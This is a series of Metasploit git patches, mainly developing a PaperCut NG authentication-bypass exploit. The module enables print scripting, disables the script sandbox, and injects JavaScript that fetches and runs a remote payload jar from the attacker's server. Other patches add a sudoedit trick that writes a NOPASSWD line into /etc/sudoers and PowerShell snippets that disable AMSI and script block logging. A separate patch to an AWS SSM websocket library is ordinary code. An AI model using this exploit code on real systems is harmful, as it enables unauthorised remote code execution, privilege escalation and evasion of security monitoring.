{}) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), OptString.new('EDITABLEFILE', [ false, 'A file which can be edited with sudo -e or sudoedit' ]), - OptString.new('shell', [ true, 'A shell we can launch our payload from. Bash or SH should be safe', '/bin/sh' ]) + OptString.new('SHELL', [ true, 'A shell we can launch our payload from. Bash or SH should be safe', '/bin/sh' ]) ] end @@ -146,7 +157,7 @@ def exploit @flag = Rex::Text.rand_text_alphanumeric(12) print_status 'Adding user to sudoers' # we tack on a flag so we can easily grep for this line and clean it up later - command = "EDITOR=\"sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: /bin/sh \# #{@flag}' -- /etc/sudoers\" sudo -S -e #{get_editable_file}" + command = "EDITOR=\"sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: #{datastore['SHELL']} \# #{@flag}' -- /etc/sudoers\" sudo -S -e #{get_editable_file}" vprint_status("Executing command: #{command}") output = cmd_exec command, nil, timeout From 22238a0860811dd54e808daad1c42f34b7a533d2 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Wed, 26 Apr 2023 16:52:26 +0000 Subject: [PATCH 059/415] Adding references. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 32d8e00f1dd42..7edd8f5c4df44 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -35,7 +35,10 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'catatonicprime' ], 'References' => [ - [ 'URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219' ] + [ 'URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219' ], + [ 'URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/' ], + [ 'URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'], + [ 'URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software' ] ], 'Targets' => [ [ 'Automatic Target', {}] ], 'Platform' => [ 'java' ], From 8c87660eaa329e7d2a8df7572e1d9c695970fe20 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Wed, 26 Apr 2023 16:53:04 +0000 Subject: [PATCH 060/415] Explicit stance. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 7edd8f5c4df44..3e5459b45afbf 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -40,6 +40,7 @@ def initialize(info = {}) [ 'URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'], [ 'URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software' ] ], + 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'Automatic Target', {}] ], 'Platform' => [ 'java' ], 'Payload' => {}, From bcafd22997dd1feec99f89b9a7d67feefa08523e Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Wed, 26 Apr 2023 16:54:19 +0000 Subject: [PATCH 061/415] Better defaults pattern for TARGETURI. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 3e5459b45afbf..07f8c2471e6e5 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -52,7 +52,6 @@ def initialize(info = {}) 'PAYLOAD' => 'java/meterpreter/reverse_tcp', 'RPORT' => '9191', 'SSL' => 'false', - 'TARGETURI' => '/app', 'PAYLOAD_CLASS' => 'metasploit.Payload', 'JAR_FILE' => '', 'HTTPDELAY' => 10 @@ -66,7 +65,7 @@ def initialize(info = {}) ) register_options( [ - OptString.new('TARGETURI', [true, 'Path to the papercut application']), + OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']), OptString.new('PAYLOAD_CLASS', [false, 'Class containing main method to load']), OptString.new('JAR_FILE', [true, 'Local path to jar file to serve, e.g. msfvenom output jar file']), OptInt.new('HTTPDELAY', [false, 'Path to the papercut application']), From 0cf5f4cacc8f0780230db9420ac8e94b7e768997 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Wed, 26 Apr 2023 16:55:13 +0000 Subject: [PATCH 062/415] More accurate list of side effects. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 07f8c2471e6e5..fa08251cb6cda 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -59,7 +59,7 @@ def initialize(info = {}) 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [IOC_IN_LOGS] + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) From 8694beebd128cb5c83d90c3ca3b505a180bdd616 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Wed, 26 Apr 2023 18:17:46 +0000 Subject: [PATCH 063/415] Removing unnecessary search. --- .../multi/http/papercut_ng_auth_bypass.rb | 45 +------------------ 1 file changed, 2 insertions(+), 43 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index fa08251cb6cda..d171610808c02 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -158,39 +158,6 @@ def set_server_option(name, value) ) end - def get_printer - res = send_request_cgi( - { - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path), - 'keep_cookies' => true, - 'vars_get' => { - 'service' => 'page/PrinterList' - } - } - ) - return Exploit::Failed unless res && res.code == 200 - - html = res.get_html_document - return Exploit::Failed unless html - - printer = html.at('.displayNameColumnValue a') - return Exploit::Failed unless printer && printer['href'] - - uri = URI(normalize_uri(printer['href'])) - return Exploit::Failed unless uri - - params = CGI.parse(uri.query) - return Exploit::Failed unless params && params['sp'] - - return params['sp'][0] - end - - def check - # For the check command - return bypass_auth - end - def primer payload_uri = get_uri # 6) Trigger the code execution the printer_id @@ -208,7 +175,7 @@ def primer 'Form0' => 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1', 'enablePrintScript' => 'on', '$Submit$1' => 'Apply', - 'printerId' => @printer_id, + 'printerId' => 'l1001', 'scriptBody' => %Q{ var urls = [new java.net.URL("#{payload_uri}.jar")]; var cl = new java.net.URLClassLoader(urls).loadClass('#{datastore['PAYLOAD_CLASS']}').newInstance().main([]); @@ -247,14 +214,6 @@ def exploit return Exploit::Failed end - # 4) Find a printerId - @printer_id = get_printer - if @printer_id == Exploit::Failed - return Exploit::Failed - end - - vprint_status('Using printerid: ' + @printer_id) - # 5) Select the printer, this loads it into the tapestry session to be modified res = send_request_cgi( { @@ -266,7 +225,7 @@ def exploit }, 'vars_get' => { 'service' => 'direct/1/PrinterList/selectPrinter', - 'sp' => @printer_id + 'sp' => 'l1001' } } ) From 9f6fe964e252b2317e00b471ab375f6b330bcba2 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Wed, 26 Apr 2023 18:28:02 +0000 Subject: [PATCH 064/415] bypass_auth returns the anti-csrf token and vprints active session on success --- .../multi/http/papercut_ng_auth_bypass.rb | 28 ++++++++++++------- 1 file changed, 18 insertions(+), 10 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index d171610808c02..07cf6a40e5c25 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -75,8 +75,7 @@ def initialize(info = {}) end def bypass_auth - # Hit the SetupCompleted Page & establish an authenticated session. - # Return success/fail or vuln/not vuln based on response values + # Attempt to generate a session & recover the anti-csrf token for future requests. res = send_request_cgi( { 'method' => 'GET', @@ -87,9 +86,9 @@ def bypass_auth } } ) - return Exploit::CheckCode::Safe unless res && res.code == 200 - - return Exploit::CheckCode::Vulnerable + return nil unless res && res.code == 200 + vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}") + res.get_html_document.xpath('//script')[-1].text.split("'")[1] end def set_server_option(name, value) @@ -187,6 +186,15 @@ def primer return Exploit::Failed unless res && res.code == 200 end + def check + # For the check command + bypass_success = bypass_auth + if bypass_success.nil? + return Exploit::CheckCode::Safe + end + return Exploit::CheckCode::Vulnerable + end + def exploit @payload_uri = get_uri protocol = 'http' @@ -196,12 +204,12 @@ def exploit @origin = URI("#{protocol}://#{datastore['RHOST']}:#{datastore['RPORT']}") # required for anti-CSRF mechanisms # Main function - # 1) Bypass the auth using the SetupCompleted page - auth_bypassed = bypass_auth - if auth_bypassed == Exploit::CheckCode::Safe - print_error('Server appears to not be vulnerable.') - return Exploit::Failed + # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests. + @csrf_token = bypass_auth + if @csrf_token.nil? + fail_with Failure::NotVulnerable, 'Target is not vulnerable' end + # 2) Enable scripts, if needed success = set_server_option('print-and-device.script.enabled', 'Y') if success == Exploit::Failed From 5e93669d75e3dc2ba5b18b89e515c8836d66941e Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Wed, 26 Apr 2023 19:28:56 +0000 Subject: [PATCH 065/415] Enable AutoCheck --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 07cf6a40e5c25..584e67dff5463 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer From 0be38eb3ab0d8e977095c416777e8e79c8ae6e55 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Wed, 26 Apr 2023 19:32:57 +0000 Subject: [PATCH 066/415] method should do one thing and do it well --- .../multi/http/papercut_ng_auth_bypass.rb | 30 ++++++++----------- 1 file changed, 13 insertions(+), 17 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 584e67dff5463..6b3e8a7d73c95 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -92,8 +92,7 @@ def bypass_auth res.get_html_document.xpath('//script')[-1].text.split("'")[1] end - def set_server_option(name, value) - # set name:value pair(s) + def get_config_option(name) # 1) do a quickfind (setting the tapestry state) res = send_request_cgi( { @@ -113,21 +112,18 @@ def set_server_option(name, value) } ) # TODO: 2) if no property found, add it? - # 3) else, if necessary, do an update - if not res || res.code != 200 - print_error("Response error when attempting to find server option '#{name}'") - return Exploit::Failed - end - - html = res.get_html_document - td = html.xpath("//td[@class='propertyNameColumnValue']") - if not td || td.count != 1 || td.text != name - print_error("xpath error: could not find single containing server option '#{name}'") unless td && td.count == 1 && td.text == name - return Exploit::Failed - end + # 3) parse the result + return nil unless res && res.code == 200 && html = res.get_html_document + return nil unless td = html.xpath("//td[@class='propertyNameColumnValue']") + return nil unless td.count == 1 && td.text == name value_input = html.xpath("//input[@name='$TextField$0']") - current_value = value_input[0]['value'] + value_input[0]['value'] + end + + def set_config_option(name, value) + # set name:value pair(s) + current_value = get_config_option(name) if current_value == value vprint_good("Server option '#{name}' already set to '#{value}')") return @@ -212,13 +208,13 @@ def exploit end # 2) Enable scripts, if needed - success = set_server_option('print-and-device.script.enabled', 'Y') + success = set_config_option('print-and-device.script.enabled', 'Y') if success == Exploit::Failed return Exploit::Failed end # 3) Disable sandboxing, if needed - success = set_server_option('print.script.sandboxed', 'N') + success = set_config_option('print.script.sandboxed', 'N') if success == Exploit::Failed return Exploit::Failed end From feec15a48233a9029249772a918d28b3357427aa Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Thu, 27 Apr 2023 15:07:15 +0000 Subject: [PATCH 067/415] full_uri has what we need for the origin header --- .../exploits/multi/http/papercut_ng_auth_bypass.rb | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 6b3e8a7d73c95..99a58d4393ecb 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -100,7 +100,7 @@ def get_config_option(name) 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'headers' => { - 'Origin' => @origin + 'Origin' => full_uri }, 'vars_post' => { 'service' => 'direct/1/ConfigEditor/quickFindForm', @@ -141,7 +141,7 @@ def set_config_option(name, value) 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'headers' => { - 'Origin' => @origin + 'Origin' => full_uri }, 'vars_post' => { 'service' => 'direct/1/ConfigEditor/$Form', @@ -163,7 +163,7 @@ def primer 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'headers' => { - 'Origin' => @origin + 'Origin' => full_uri }, 'vars_post' => { 'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form', @@ -194,11 +194,6 @@ def check def exploit @payload_uri = get_uri - protocol = 'http' - if datastore['SSL'] - protocol = 'https' - end - @origin = URI("#{protocol}://#{datastore['RHOST']}:#{datastore['RPORT']}") # required for anti-CSRF mechanisms # Main function # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests. @@ -226,7 +221,7 @@ def exploit 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'headers' => { - 'Origin' => @origin + 'Origin' => full_uri }, 'vars_get' => { 'service' => 'direct/1/PrinterList/selectPrinter', From 16ae6b71f484d54768c2a5df9bc734cd8a4bc6c3 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Thu, 27 Apr 2023 15:21:21 +0000 Subject: [PATCH 068/415] Use the generated payload as is. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 99a58d4393ecb..8744fb3f75fff 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -68,7 +68,6 @@ def initialize(info = {}) [ OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']), OptString.new('PAYLOAD_CLASS', [false, 'Class containing main method to load']), - OptString.new('JAR_FILE', [true, 'Local path to jar file to serve, e.g. msfvenom output jar file']), OptInt.new('HTTPDELAY', [false, 'Path to the papercut application']), OptBool.new('NEVER_SET', [false, 'Never set server options to avoid unnecessary log events.']) ], self.class @@ -237,7 +236,7 @@ def exploit def on_request_uri(cli, request) vprint_status("Sending payload for requested uri: #{request.uri}") - jar_file = File.read(datastore['JAR_FILE']) + jar_file = payload.raw send_response(cli, jar_file) end From 12f7134cc6c7562c1fc79641aee3c07780ee06bc Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Thu, 27 Apr 2023 19:38:12 +0000 Subject: [PATCH 069/415] generating payloads on the fly is what we wanted originally --- .../exploits/multi/http/papercut_ng_auth_bypass.rb | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 8744fb3f75fff..098d3cd6dab9e 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -49,11 +49,9 @@ def initialize(info = {}) 'DisclosureDate' => '2023-03-13', 'DefaultTarget' => 0, 'DefaultOptions' => { - 'DisablePayloadHandler' => true, 'PAYLOAD' => 'java/meterpreter/reverse_tcp', 'RPORT' => '9191', 'SSL' => 'false', - 'PAYLOAD_CLASS' => 'metasploit.Payload', 'JAR_FILE' => '', 'HTTPDELAY' => 10 }, @@ -67,7 +65,6 @@ def initialize(info = {}) register_options( [ OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']), - OptString.new('PAYLOAD_CLASS', [false, 'Class containing main method to load']), OptInt.new('HTTPDELAY', [false, 'Path to the papercut application']), OptBool.new('NEVER_SET', [false, 'Never set server options to avoid unnecessary log events.']) ], self.class @@ -110,8 +107,7 @@ def get_config_option(name) } } ) - # TODO: 2) if no property found, add it? - # 3) parse the result + # 2) parse and return the result return nil unless res && res.code == 200 && html = res.get_html_document return nil unless td = html.xpath("//td[@class='propertyNameColumnValue']") return nil unless td.count == 1 && td.text == name @@ -173,7 +169,7 @@ def primer 'printerId' => 'l1001', 'scriptBody' => %Q{ var urls = [new java.net.URL("#{payload_uri}.jar")]; -var cl = new java.net.URLClassLoader(urls).loadClass('#{datastore['PAYLOAD_CLASS']}').newInstance().main([]); +var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]); s; } } @@ -236,8 +232,7 @@ def exploit def on_request_uri(cli, request) vprint_status("Sending payload for requested uri: #{request.uri}") - jar_file = payload.raw - send_response(cli, jar_file) + send_response(cli, payload.raw) end end From c0be991ed8de394e0d690720bd2370e2e2ae6f5c Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Fri, 28 Apr 2023 00:00:57 +0000 Subject: [PATCH 070/415] removing superfluous options --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 098d3cd6dab9e..7e403752b2b1a 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -49,10 +49,8 @@ def initialize(info = {}) 'DisclosureDate' => '2023-03-13', 'DefaultTarget' => 0, 'DefaultOptions' => { - 'PAYLOAD' => 'java/meterpreter/reverse_tcp', 'RPORT' => '9191', 'SSL' => 'false', - 'JAR_FILE' => '', 'HTTPDELAY' => 10 }, 'Notes' => { @@ -65,8 +63,7 @@ def initialize(info = {}) register_options( [ OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']), - OptInt.new('HTTPDELAY', [false, 'Path to the papercut application']), - OptBool.new('NEVER_SET', [false, 'Never set server options to avoid unnecessary log events.']) + OptInt.new('HTTPDELAY', [false, 'Path to the papercut application']) ], self.class ) end @@ -124,11 +121,6 @@ def set_config_option(name, value) return end - if datastore['NEVER_SET'] - print_error("Server is not correctly configured for code execution and you have requested we never set server options 'NEVER_SET'") - return Exploit::Failed - end - vprint_status("Setting server option '#{name}' to '#{value}') was '#{current_value}'") res = send_request_cgi( { From 4ba8d62d883ac5ac21eb1694835f3e07f93b7a62 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Fri, 28 Apr 2023 00:02:37 +0000 Subject: [PATCH 071/415] Removing unused documentation --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 7e403752b2b1a..c97ce7961a581 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -23,15 +23,8 @@ def initialize(info = {}) and 'print.script.sandboxed' options to allow for arbitrary code execution running in the builtin RhinoJS engine. - For code injection we utilize the URLClassLoader to load a remote URL containing a - ".jar" file, this file must already exist and must contain a "main" method accepting - no command line arguments. We recommend generating this jar file using msfvenom with a - java/meterpreter/reverse_tcp payload, e.g. `msfvenom -p java/meterpreter/reverse_tcp --format jar --encoder generic/none - LHOST=[lhost] LPORT=[lport] -o shell.jar - This module logs at most 2 events in the application log of papercut. Each event is tied - to modifcation of server settings. Use NEVER_SET to avoid log generation entirely when - targeting already vulnerable systes. + to modifcation of server settings. }, 'License' => MSF_LICENSE, 'Author' => [ 'catatonicprime' ], From 97a76e38835504c0453942156591596b0df078c0 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Fri, 28 Apr 2023 00:07:47 +0000 Subject: [PATCH 072/415] linting changes. removing unnecessary success checks. --- .../multi/http/papercut_ng_auth_bypass.rb | 23 ++++++++----------- 1 file changed, 10 insertions(+), 13 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index c97ce7961a581..d75d1c4a758aa 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -74,6 +74,7 @@ def bypass_auth } ) return nil unless res && res.code == 200 + vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}") res.get_html_document.xpath('//script')[-1].text.split("'")[1] end @@ -98,8 +99,8 @@ def get_config_option(name) } ) # 2) parse and return the result - return nil unless res && res.code == 200 && html = res.get_html_document - return nil unless td = html.xpath("//td[@class='propertyNameColumnValue']") + return nil unless res && res.code == 200 && (html = res.get_html_document) + return nil unless (td = html.xpath("//td[@class='propertyNameColumnValue']")) return nil unless td.count == 1 && td.text == name value_input = html.xpath("//input[@name='$TextField$0']") @@ -132,6 +133,7 @@ def set_config_option(name, value) } } ) + fail_with Failure::NotVulnerable, "Could not update server config option '#{name}' to value of '#{value}'" unless res && res.code == 200 end def primer @@ -152,7 +154,7 @@ def primer 'enablePrintScript' => 'on', '$Submit$1' => 'Apply', 'printerId' => 'l1001', - 'scriptBody' => %Q{ + 'scriptBody' => %{ var urls = [new java.net.URL("#{payload_uri}.jar")]; var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]); s; @@ -160,7 +162,7 @@ def primer } } ) - return Exploit::Failed unless res && res.code == 200 + fail_with Failure::NotVulnerable, 'Failed to prime payload.' unless res && res.code == 200 end def check @@ -169,6 +171,7 @@ def check if bypass_success.nil? return Exploit::CheckCode::Safe end + return Exploit::CheckCode::Vulnerable end @@ -183,16 +186,10 @@ def exploit end # 2) Enable scripts, if needed - success = set_config_option('print-and-device.script.enabled', 'Y') - if success == Exploit::Failed - return Exploit::Failed - end + set_config_option('print-and-device.script.enabled', 'Y') # 3) Disable sandboxing, if needed - success = set_config_option('print.script.sandboxed', 'N') - if success == Exploit::Failed - return Exploit::Failed - end + set_config_option('print.script.sandboxed', 'N') # 5) Select the printer, this loads it into the tapestry session to be modified res = send_request_cgi( @@ -209,7 +206,7 @@ def exploit } } ) - return Exploit::Failed unless res && res.code == 200 + fail_with Failure::NotVulnerable, 'Unable to select [Template Printer]' unless res && res.code == 200 Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error From 867902e7d0a2b47a601de14c4d1d26e2687f39ae Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Fri, 28 Apr 2023 09:00:37 -0400 Subject: [PATCH 073/415] SSM start/stop publication --- lib/rex/proto/http/web_socket/amazon_ssm.rb | 55 ++++++++++++++++++++- 1 file changed, 54 insertions(+), 1 deletion(-) diff --git a/lib/rex/proto/http/web_socket/amazon_ssm.rb b/lib/rex/proto/http/web_socket/amazon_ssm.rb index 402e030826d58..6d0bc764f44f2 100644 --- a/lib/rex/proto/http/web_socket/amazon_ssm.rb +++ b/lib/rex/proto/http/web_socket/amazon_ssm.rb @@ -88,6 +88,18 @@ def acknowledge_output(output_frame) end + def pause_publication + msg = SsmFrame.create_pause_pub + @publication = false + @websocket.put_wsbinary(msg.to_binary_s) + end + + def start_publication + msg = SsmFrame.create_start_pub + @publication = true + @websocket.put_wsbinary(msg.to_binary_s) + end + def strip_shell_clr(tty_out) tty_out.gsub(/\x1B\[(;?[0-9]{1,3})+[mGK]/,'') end @@ -159,6 +171,7 @@ def initialize(websocket, filter_echo = false, filter_text = true) @ack_message = nil @filter_echo = filter_echo @filter_text = filter_text + @publication = true super(websocket, write_type: :binary) end @@ -174,8 +187,12 @@ def on_data_read(data, _data_type) # update ACK seqno handle_acknowledge(ssm_frame) when 'start_publication' + @out_seq_num = @ack_seq_num if @out_seq_num > 0 + @publication = true # handle session resumption - foregrounding or resumption of input when 'pause_publication' + # @websocket.put_wsbinary(ssm_frame.to_ack.to_binary_s) + @publication = false # handle session suspension - backgrounding or general idle when 'input_stream_data' # this is supposed to be a one way street @@ -194,6 +211,7 @@ def on_data_read(data, _data_type) end def on_data_write(data) + start_publication if not @publication @filter_echo = data if @filter_echo and data.is_a?(String) frame = SsmFrame.create(data) frame.header.sequence_number = @out_seq_num @@ -244,6 +262,41 @@ def create(data = nil, mtype = 'input_stream_data') frame end + def create_pause_pub + uuid = UUID.rand + time = Time.now + data = JSON.generate({ + MessageType: 'pause_publication', + SchemaVersion: 1, + MessageId: uuid, + CreateData: time.strftime("%Y-%m-%dT%T.%LZ") + }) + frame = SsmFrame.new( header: { + message_type: 'pause_publication', + created_date: (time.to_f * 1000).to_i, + message_id: UUID.pack(uuid) + }) + frame.payload_data = data + frame.payload_digest = Digest::SHA256.digest(data) + frame.payload_length = data.length + frame.payload_type = 0 + frame + end + + def create_start_pub + data = 'start_publication' + frame = SsmFrame.new( header: { + message_type: data, + created_date: (Time.now.to_f * 1000).to_i, + message_id: UUID.pack(UUID.rand) + }) + frame.payload_data = data + frame.payload_digest = Digest::SHA256.digest(data) + frame.payload_length = data.length + frame.payload_type = 0 + frame + end + def from_ws_frame(wsframe) SsmFrame.read(wsframe.payload_data) end @@ -254,7 +307,7 @@ def uuid end def to_ack - data = JSON.generate({ + data = JSON.generate({ AcknowledgedMessageType: header.message_type.strip, AcknowledgedMessageId: uuid, AcknowledgedMessageSequenceNumber: header.sequence_number.to_i, From 62806caeaea9754944e8d55db90113792c307ead Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Thu, 27 Apr 2023 15:45:56 +0200 Subject: [PATCH 074/415] Update web_delivery --- .../bypass_powershell_protections.erb.graphml | 147 +++++++----------- lib/msf/core/exploit/powershell.rb | 25 ++- modules/exploits/multi/script/web_delivery.rb | 68 ++++++-- 3 files changed, 133 insertions(+), 107 deletions(-) diff --git a/data/evasion/windows/bypass_powershell_protections.erb.graphml b/data/evasion/windows/bypass_powershell_protections.erb.graphml index 6b28bc8c300b3..1e0d88b3f61f8 100644 --- a/data/evasion/windows/bypass_powershell_protections.erb.graphml +++ b/data/evasion/windows/bypass_powershell_protections.erb.graphml @@ -8,6 +8,19 @@ + + 1 + block + + 1 + block + + 2 + instruction + If($PSVersionTable.PSVersion.Major -lt 3){Exit} + + + 1 block @@ -17,158 +30,114 @@ 1 instruction - If($PSVersionTable.PSVersion.Major -ge 3){ + $val=[Collections.Generic.Dictionary[string,System.Object]]::new(); 2 instruction - $val=[Collections.Generic.Dictionary[string,System.Object]]::new(); + $Ref1=[Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.AmsiUtils', threshold: 0.3) %>); 3 instruction - $Ref1=[Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.AmsiUtils', threshold: 0.3) %>); + If($Ref1) { $Ref1.GetField(<%= Rex::Powershell::Obfu.scate_string_literal('amsiInitFailed', threshold: 1) %>,'NonPublic,Static').SetValue($null,$true); } 4 instruction - if ($Ref1) { $Ref1.GetField(<%= Rex::Powershell::Obfu.scate_string_literal('amsiInitFailed', threshold: 0.3) %>,'NonPublic,Static').SetValue($null,$true); }; + $Ref2=[Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.Utils') %>); 5 instruction - $Ref2=[Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.Utils') %>); + $GPF=$Ref2.GetField('cachedGroupPolicySettings','NonPublic,Static'); 6 instruction - $GPF=$Ref2.GetField('cachedGroupPolicySettings','NonPublic,Static'); + $SBL=<%= Rex::Powershell::Obfu.scate_string_literal('ScriptBlockLogging') %>; 7 instruction - If ($GPF) { + $EnableSBL=<%= Rex::Powershell::Obfu.scate_string_literal('EnableScriptBlockLogging') %>; 8 instruction - $SBL=<%= Rex::Powershell::Obfu.scate_string_literal('ScriptBlockLogging') %>; + $EnableSBIL=<%= Rex::Powershell::Obfu.scate_string_literal('EnableScriptBlockInvocationLogging') %>; 9 instruction - $EnableSBL=<%= Rex::Powershell::Obfu.scate_string_literal('EnableScriptBlockLogging') %>; + If($GPF) { $GPC=$GPF.GetValue($null); } - + + + + 